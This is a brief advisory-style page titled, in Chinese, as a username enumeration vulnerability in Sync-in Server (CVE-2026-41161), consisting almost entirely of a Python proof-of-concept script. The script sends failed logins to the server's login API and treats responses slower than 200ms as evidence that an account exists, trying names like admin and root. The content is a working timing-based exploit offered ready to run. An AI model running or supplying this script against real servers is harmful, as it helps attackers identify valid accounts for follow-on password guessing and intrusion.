CVE-2026-41161 Sync-in Server 用户名枚举漏洞

import requests import time def check_username(url, username): """Check if a username exists by measuring response time.""" target = f"{url}/api/auth/login" payload = { "username": username, "password": "dummy_password" # Use a fixed incorrect password } headers = { "Content-Type": "application/json" } try: start_time = time.time() response = requests.post(target, json=payload, headers=headers, timeout=5) elapsed_time = time.time() - start_time # Threshold may vary based on network conditions (e.g., 200ms) if elapsed_time > 0.2: return True, elapsed_time else: return False, elapsed_time except Exception as e: print(f"Error: {e}") return None, 0 if __name__ == "__main__": target_url = "http://example.com" user_list = ["admin", "root", "test", "guest"] for user in user_list: exists, duration = check_username(target_url, user) if exists: print(f"[+] Found User: {user} (Response: {duration:.4f}s)") else: print(f"[-] Not Found: {user} (Response: {duration:.4f}s)")